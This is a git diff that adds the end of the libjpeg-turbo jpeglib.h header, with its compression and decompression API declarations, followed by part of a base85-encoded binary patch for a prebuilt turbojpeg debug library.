jpeg_destination_mgr { + JOCTET *next_output_byte; /* => next byte to write in buffer */ + size_t free_in_buffer; /* # of byte spaces remaining in buffer */ + + void (*init_destination) (j_compress_ptr cinfo); + boolean (*empty_output_buffer) (j_compress_ptr cinfo); + void (*term_destination) (j_compress_ptr cinfo); +}; + + +/* Data source object for decompression */ + +struct jpeg_source_mgr { + const JOCTET *next_input_byte; /* => next byte to read from buffer */ + size_t bytes_in_buffer; /* # of bytes remaining in buffer */ + + void (*init_source) (j_decompress_ptr cinfo); + boolean (*fill_input_buffer) (j_decompress_ptr cinfo); + void (*skip_input_data) (j_decompress_ptr cinfo, long num_bytes); + boolean (*resync_to_restart) (j_decompress_ptr cinfo, int desired); + void (*term_source) (j_decompress_ptr cinfo); +}; + + +/* Memory manager object. + * Allocates "small" objects (a few K total), "large" objects (tens of K), + * and "really big" objects (virtual arrays with backing store if needed). + * The memory manager does not allow individual objects to be freed; rather, + * each created object is assigned to a pool, and whole pools can be freed + * at once. This is faster and more convenient than remembering exactly what + * to free, especially where malloc()/free() are not too speedy. + * NB: alloc routines never return NULL. They exit to error_exit if not + * successful. + */ + +#define JPOOL_PERMANENT 0 /* lasts until master record is destroyed */ +#define JPOOL_IMAGE 1 /* lasts until done with image/datastream */ +#define JPOOL_NUMPOOLS 2 + +typedef struct jvirt_sarray_control *jvirt_sarray_ptr; +typedef struct jvirt_barray_control *jvirt_barray_ptr; + + +struct jpeg_memory_mgr { + /* Method pointers */ + void *(*alloc_small) (j_common_ptr cinfo, int pool_id, size_t sizeofobject); + void *(*alloc_large) (j_common_ptr cinfo, int pool_id, + size_t sizeofobject); + JSAMPARRAY (*alloc_sarray) (j_common_ptr cinfo, int pool_id, + JDIMENSION samplesperrow, JDIMENSION numrows); + JBLOCKARRAY (*alloc_barray) (j_common_ptr cinfo, int pool_id, + JDIMENSION blocksperrow, JDIMENSION numrows); + jvirt_sarray_ptr (*request_virt_sarray) (j_common_ptr cinfo, int pool_id, + boolean pre_zero, + JDIMENSION samplesperrow, + JDIMENSION numrows, + JDIMENSION maxaccess); + jvirt_barray_ptr (*request_virt_barray) (j_common_ptr cinfo, int pool_id, + boolean pre_zero, + JDIMENSION blocksperrow, + JDIMENSION numrows, + JDIMENSION maxaccess); + void (*realize_virt_arrays) (j_common_ptr cinfo); + JSAMPARRAY (*access_virt_sarray) (j_common_ptr cinfo, jvirt_sarray_ptr ptr, + JDIMENSION start_row, JDIMENSION num_rows, + boolean writable); + JBLOCKARRAY (*access_virt_barray) (j_common_ptr cinfo, jvirt_barray_ptr ptr, + JDIMENSION start_row, JDIMENSION num_rows, + boolean writable); + void (*free_pool) (j_common_ptr cinfo, int pool_id); + void (*self_destruct) (j_common_ptr cinfo); + + /* Limit on memory allocation for this JPEG object. (Note that this is + * merely advisory, not a guaranteed maximum; it only affects the space + * used for virtual-array buffers.) May be changed by outer application + * after creating the JPEG object. + */ + long max_memory_to_use; + + /* Maximum allocation request accepted by alloc_large. */ + long max_alloc_chunk; +}; + + +/* Routine signature for application-supplied marker processing methods. + * Need not pass marker code since it is stored in cinfo->unread_marker. + */ +typedef boolean (*jpeg_marker_parser_method) (j_decompress_ptr cinfo); + + +/* Originally, this macro was used as a way of defining function prototypes + * for both modern compilers as well as older compilers that did not support + * prototype parameters. libjpeg-turbo has never supported these older, + * non-ANSI compilers, but the macro is still included because there is some + * software out there that uses it. + */ + +#define JPP(arglist) arglist + + +/* Default error-management setup */ +EXTERN(struct jpeg_error_mgr *) jpeg_std_error(struct jpeg_error_mgr *err); + +/* Initialization of JPEG compression objects. + * jpeg_create_compress() and jpeg_create_decompress() are the exported + * names that applications should call. These expand to calls on + * jpeg_CreateCompress and jpeg_CreateDecompress with additional information + * passed for version mismatch checking. + * NB: you must set up the error-manager BEFORE calling jpeg_create_xxx. + */ +#define jpeg_create_compress(cinfo) \ + jpeg_CreateCompress((cinfo), JPEG_LIB_VERSION, \ + (size_t)sizeof(struct jpeg_compress_struct)) +#define jpeg_create_decompress(cinfo) \ + jpeg_CreateDecompress((cinfo), JPEG_LIB_VERSION, \ + (size_t)sizeof(struct jpeg_decompress_struct)) +EXTERN(void) jpeg_CreateCompress(j_compress_ptr cinfo, int version, + size_t structsize); +EXTERN(void) jpeg_CreateDecompress(j_decompress_ptr cinfo, int version, + size_t structsize); +/* Destruction of JPEG compression objects */ +EXTERN(void) jpeg_destroy_compress(j_compress_ptr cinfo); +EXTERN(void) jpeg_destroy_decompress(j_decompress_ptr cinfo); + +/* Standard data source and destination managers: stdio streams. */ +/* Caller is responsible for opening the file before and closing after. */ +EXTERN(void) jpeg_stdio_dest(j_compress_ptr cinfo, FILE *outfile); +EXTERN(void) jpeg_stdio_src(j_decompress_ptr cinfo, FILE *infile); + +#if JPEG_LIB_VERSION >= 80 || defined(MEM_SRCDST_SUPPORTED) +/* Data source and destination managers: memory buffers. */ +EXTERN(void) jpeg_mem_dest(j_compress_ptr cinfo, unsigned char **outbuffer, + unsigned long *outsize); +EXTERN(void) jpeg_mem_src(j_decompress_ptr cinfo, + const unsigned char *inbuffer, unsigned long insize); +#endif + +/* Default parameter setup for compression */ +EXTERN(void) jpeg_set_defaults(j_compress_ptr cinfo); +/* Compression parameter setup aids */ +EXTERN(void) jpeg_set_colorspace(j_compress_ptr cinfo, + J_COLOR_SPACE colorspace); +EXTERN(void) jpeg_default_colorspace(j_compress_ptr cinfo); +EXTERN(void) jpeg_set_quality(j_compress_ptr cinfo, int quality, + boolean force_baseline); +EXTERN(void) jpeg_set_linear_quality(j_compress_ptr cinfo, int scale_factor, + boolean force_baseline); +#if JPEG_LIB_VERSION >= 70 +EXTERN(void) jpeg_default_qtables(j_compress_ptr cinfo, + boolean force_baseline); +#endif +EXTERN(void) jpeg_add_quant_table(j_compress_ptr cinfo, int which_tbl, + const unsigned int *basic_table, + int scale_factor, boolean force_baseline); +EXTERN(int) jpeg_quality_scaling(int quality); +EXTERN(void) jpeg_simple_progression(j_compress_ptr cinfo); +EXTERN(void) jpeg_suppress_tables(j_compress_ptr cinfo, boolean suppress); +EXTERN(JQUANT_TBL *) jpeg_alloc_quant_table(j_common_ptr cinfo); +EXTERN(JHUFF_TBL *) jpeg_alloc_huff_table(j_common_ptr cinfo); + +/* Main entry points for compression */ +EXTERN(void) jpeg_start_compress(j_compress_ptr cinfo, + boolean write_all_tables); +EXTERN(JDIMENSION) jpeg_write_scanlines(j_compress_ptr cinfo, + JSAMPARRAY scanlines, + JDIMENSION num_lines); +EXTERN(void) jpeg_finish_compress(j_compress_ptr cinfo); + +#if JPEG_LIB_VERSION >= 70 +/* Precalculate JPEG dimensions for current compression parameters. */ +EXTERN(void) jpeg_calc_jpeg_dimensions(j_compress_ptr cinfo); +#endif + +/* Replaces jpeg_write_scanlines when writing raw downsampled data. */ +EXTERN(JDIMENSION) jpeg_write_raw_data(j_compress_ptr cinfo, JSAMPIMAGE data, + JDIMENSION num_lines); + +/* Write a special marker. See libjpeg.txt concerning safe usage. */ +EXTERN(void) jpeg_write_marker(j_compress_ptr cinfo, int marker, + const JOCTET *dataptr, unsigned int datalen); +/* Same, but piecemeal. */ +EXTERN(void) jpeg_write_m_header(j_compress_ptr cinfo, int marker, + unsigned int datalen); +EXTERN(void) jpeg_write_m_byte(j_compress_ptr cinfo, int val); + +/* Alternate compression function: just write an abbreviated table file */ +EXTERN(void) jpeg_write_tables(j_compress_ptr cinfo); + +/* Write ICC profile. See libjpeg.txt for usage information. */ +EXTERN(void) jpeg_write_icc_profile(j_compress_ptr cinfo, + const JOCTET *icc_data_ptr, + unsigned int icc_data_len); + + +/* Decompression startup: read start of JPEG datastream to see what's there */ +EXTERN(int) jpeg_read_header(j_decompress_ptr cinfo, boolean require_image); +/* Return value is one of: */ +#define JPEG_SUSPENDED 0 /* Suspended due to lack of input data */ +#define JPEG_HEADER_OK 1 /* Found valid image datastream */ +#define JPEG_HEADER_TABLES_ONLY 2 /* Found valid table-specs-only datastream */ +/* If you pass require_image = TRUE (normal case), you need not check for + * a TABLES_ONLY return code; an abbreviated file will cause an error exit. + * JPEG_SUSPENDED is only possible if you use a data source module that can + * give a suspension return (the stdio source module doesn't). + */ + +/* Main entry points for decompression */ +EXTERN(boolean) jpeg_start_decompress(j_decompress_ptr cinfo); +EXTERN(JDIMENSION) jpeg_read_scanlines(j_decompress_ptr cinfo, + JSAMPARRAY scanlines, + JDIMENSION max_lines); +EXTERN(JDIMENSION) jpeg_skip_scanlines(j_decompress_ptr cinfo, + JDIMENSION num_lines); +EXTERN(void) jpeg_crop_scanline(j_decompress_ptr cinfo, JDIMENSION *xoffset, + JDIMENSION *width); +EXTERN(boolean) jpeg_finish_decompress(j_decompress_ptr cinfo); + +/* Replaces jpeg_read_scanlines when reading raw downsampled data. */ +EXTERN(JDIMENSION) jpeg_read_raw_data(j_decompress_ptr cinfo, JSAMPIMAGE data, + JDIMENSION max_lines); + +/* Additional entry points for buffered-image mode. */ +EXTERN(boolean) jpeg_has_multiple_scans(j_decompress_ptr cinfo); +EXTERN(boolean) jpeg_start_output(j_decompress_ptr cinfo, int scan_number); +EXTERN(boolean) jpeg_finish_output(j_decompress_ptr cinfo); +EXTERN(boolean) jpeg_input_complete(j_decompress_ptr cinfo); +EXTERN(void) jpeg_new_colormap(j_decompress_ptr cinfo); +EXTERN(int) jpeg_consume_input(j_decompress_ptr cinfo); +/* Return value is one of: */ +/* #define JPEG_SUSPENDED 0 Suspended due to lack of input data */ +#define JPEG_REACHED_SOS 1 /* Reached start of new scan */ +#define JPEG_REACHED_EOI 2 /* Reached end of image */ +#define JPEG_ROW_COMPLETED 3 /* Completed one iMCU row */ +#define JPEG_SCAN_COMPLETED 4 /* Completed last iMCU row of a scan */ + +/* Precalculate output dimensions for current decompression parameters. */ +#if JPEG_LIB_VERSION >= 80 +EXTERN(void) jpeg_core_output_dimensions(j_decompress_ptr cinfo); +#endif +EXTERN(void) jpeg_calc_output_dimensions(j_decompress_ptr cinfo); + +/* Control saving of COM and APPn markers into marker_list. */ +EXTERN(void) jpeg_save_markers(j_decompress_ptr cinfo, int marker_code, + unsigned int length_limit); + +/* Install a special processing method for COM or APPn markers. */ +EXTERN(void) jpeg_set_marker_processor(j_decompress_ptr cinfo, + int marker_code, + jpeg_marker_parser_method routine); + +/* Read or write raw DCT coefficients --- useful for lossless transcoding. */ +EXTERN(jvirt_barray_ptr *) jpeg_read_coefficients(j_decompress_ptr cinfo); +EXTERN(void) jpeg_write_coefficients(j_compress_ptr cinfo, + jvirt_barray_ptr *coef_arrays); +EXTERN(void) jpeg_copy_critical_parameters(j_decompress_ptr srcinfo, + j_compress_ptr dstinfo); + +/* If you choose to abort compression or decompression before completing + * jpeg_finish_(de)compress, then you need to clean up to release memory, + * temporary files, etc. You can just call jpeg_destroy_(de)compress + * if you're done with the JPEG object, but if you want to clean it up and + * reuse it, call this: + */ +EXTERN(void) jpeg_abort_compress(j_compress_ptr cinfo); +EXTERN(void) jpeg_abort_decompress(j_decompress_ptr cinfo); + +/* Generic versions of jpeg_abort and jpeg_destroy that work on either + * flavor of JPEG object. These may be more convenient in some places. + */ +EXTERN(void) jpeg_abort(j_common_ptr cinfo); +EXTERN(void) jpeg_destroy(j_common_ptr cinfo); + +/* Default restart-marker-resync procedure for use by data source modules */ +EXTERN(boolean) jpeg_resync_to_restart(j_decompress_ptr cinfo, int desired); + +/* Read ICC profile. See libjpeg.txt for usage information. */ +EXTERN(boolean) jpeg_read_icc_profile(j_decompress_ptr cinfo, + JOCTET **icc_data_ptr, + unsigned int *icc_data_len); + + +/* These marker codes are exported since applications and data source modules + * are likely to want to use them. + */ + +#define JPEG_RST0 0xD0 /* RST0 marker code */ +#define JPEG_EOI 0xD9 /* EOI marker code */ +#define JPEG_APP0 0xE0 /* APP0 marker code */ +#define JPEG_COM 0xFE /* COM marker code */ + + +/* If we have a brain-damaged compiler that emits warnings (or worse, errors) + * for structure definitions that are never filled in, keep it quiet by + * supplying dummy definitions for the various substructures. + */ + +#ifdef INCOMPLETE_TYPES_BROKEN +#ifndef JPEG_INTERNALS /* will be defined in jpegint.h */ +struct jvirt_sarray_control { + long dummy; +}; +struct jvirt_barray_control { + long dummy; +}; +struct jpeg_comp_master { + long dummy; +}; +struct jpeg_c_main_controller { + long dummy; +}; +struct jpeg_c_prep_controller { + long dummy; +}; +struct jpeg_c_coef_controller { + long dummy; +}; +struct jpeg_marker_writer { + long dummy; +}; +struct jpeg_color_converter { + long dummy; +}; +struct jpeg_downsampler { + long dummy; +}; +struct jpeg_forward_dct { + long dummy; +}; +struct jpeg_entropy_encoder { + long dummy; +}; +struct jpeg_decomp_master { + long dummy; +}; +struct jpeg_d_main_controller { + long dummy; +}; +struct jpeg_d_coef_controller { + long dummy; +}; +struct jpeg_d_post_controller { + long dummy; +}; +struct jpeg_input_controller { + long dummy; +}; +struct jpeg_marker_reader { + long dummy; +}; +struct jpeg_entropy_decoder { + long dummy; +}; +struct jpeg_inverse_dct { + long dummy; +}; +struct jpeg_upsampler { + long dummy; +}; +struct jpeg_color_deconverter { + long dummy; +}; +struct jpeg_color_quantizer { + long dummy; +}; +#endif /* JPEG_INTERNALS */ +#endif /* INCOMPLETE_TYPES_BROKEN */ + + +/* + * The JPEG library modules define JPEG_INTERNALS before including this file. + * The internal structure declarations are read only when that is true. + * Applications using the library should not include jpegint.h, but may wish + * to include jerror.h. + */ + +#ifdef JPEG_INTERNALS +#include "jpegint.h" /* fetch private declarations */ +#include "jerror.h" /* fetch error codes too */ +#endif + +#ifdef __cplusplus +#ifndef DONT_USE_EXTERN_C +} +#endif +#endif + +#endif /* JPEGLIB_H */ diff --git a/compress/jpeg/turbojpeg_32_d.lib b/compress/jpeg/turbojpeg_32_d.lib new file mode 100644 index 0000000000000000000000000000000000000000..393ae05c1976d70f95249888371749f16e75dd9e GIT binary patch literal 1678088 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

uFc}z7j z)yC9nrtV?tw@f|G)OMzJGlfshnPHs4)KsP}WojE!{Y)KT>Pt`u@PKs8VXB^~B}{#V zsXLkaFQ)#;R4-ElOpQffr^1-PR3THJXX-~x{Tov$X+aL%0NDdAh_nO!=hO=*F6n8c z8Jwdrc{QbqP+q8DTB*4A1WOAdq;OiE`0^MhQe2cTt~tqxOvT9&x1a7rN~cW|-4ksj zKa`Iz6#oc4mC~;&LiwTMynJzDo)al8nkvrvyc3yLk}r%)Y@{HRS6nE5`2{CZTv8y? zueFiFP~Ox6ab2Z_P_mK5@<&-kIU?|tJoS@#D9IvRb75@cDm;~G$U;1YHKYSiWNcUX ztfE+>A^(J@E)Ds2JoRbFqj;hp#cq_CGNmlPcuHl<{U!qO!tZGq9oY-ydvHRo(uG%# z#b+I%$6|36zFkEVe9p7dXU_{&EEoWm#Sy$iZ7MQ z@nu0lzBwXQn)-T-FMor&^a*eu>b-lfCM?x)~ z;#!v2jDjR4`g3aOM7tFAqZr3_&ZY6|*)ULshoex2hoiPKJip=@R)*(Rypk_9ta$xy z^t1<*hE=)V=w0-T(Npq3Z^DeNOh=TVFKdhjw86JBYFGo5s+g!=zyE zO*4Ap>y4g6ulp*|OAcaSKeu8CToL$R|GF_WG#1&x>KAL4md+?OOQ|ysE$%Ul_*ANx%sqYRg z-by<4vuV&n4@sR2T6&oLFm*5JKyia~a%1@74v7y>l6Q;>P9(kQM8jD8H0ks^plY^N zJVp8Y5;Pdf-?xyz&|;9k1DwCR{PVY;@^>5ZcTej1+Z`|NqA10e>`Wn_*AT0vpCJdb z4dipSq4N1avV5+o*g^S>@j!h)=QHxCjC`ehraZDVPfNFyp&*Yalzuax2awM+?y>S2 zWfdkrD4(gUkk4!A8D%B!$meVtn`9%OpCT!HDUVe8-N@|~6>rI*-I24PnSTt1#J`=y zzx_6vFp)~yH{cny^_k)qO#L@gYnj@>)Ei74Vv2eN<;!VIeTJzEnVQ4Y%}gz3s)eaH znHpxw*3-^HP%5Rg`jVw4L5dyA!0dTZKFy)i&z^_u!aO9E82#MZ%^G0UFd0<1=C90W9)^l=}G>M$JdY({bk|3K%zf2i(WovbyxPP7~{Sbi#N7Id z@tv2>o_Bp`N#~{iMwPzx_`9ylJo>fqnR0?{ZR=5EZObcY*|%P@vg?y8`}$VCle=u9 zv7z;#v7u!+Tg`hI-CIirPrK)*7zv?U!1TOq`43{+4=i{dM;*Z?>U^`GgOe2%+tZ;I zWWSVV>>Yf;7#KvC(y|RbP+gxf6n;%k4uW}ZMSs4rx9&B(SlCbD^Z=V#u{YlssM~K0 zguBS2mw~OQIEWq{vw=fBO1J3kQGMRt_yifDp17Pu#Jt~`xfDTk%JRN9z6rX~9%Jv4 z=SCSlOL|6u<0aU>WehBNew5L@WDAfb2eLpN%tBP3H+lwNN6&Q{Of+}pYq=}e=dOIB z3^|hh_nA=oki)BA9X@(=LFk5+>oZn9k#S}AeLuppe8Ukq9bwJm_F40|cxQ9xW1W}D 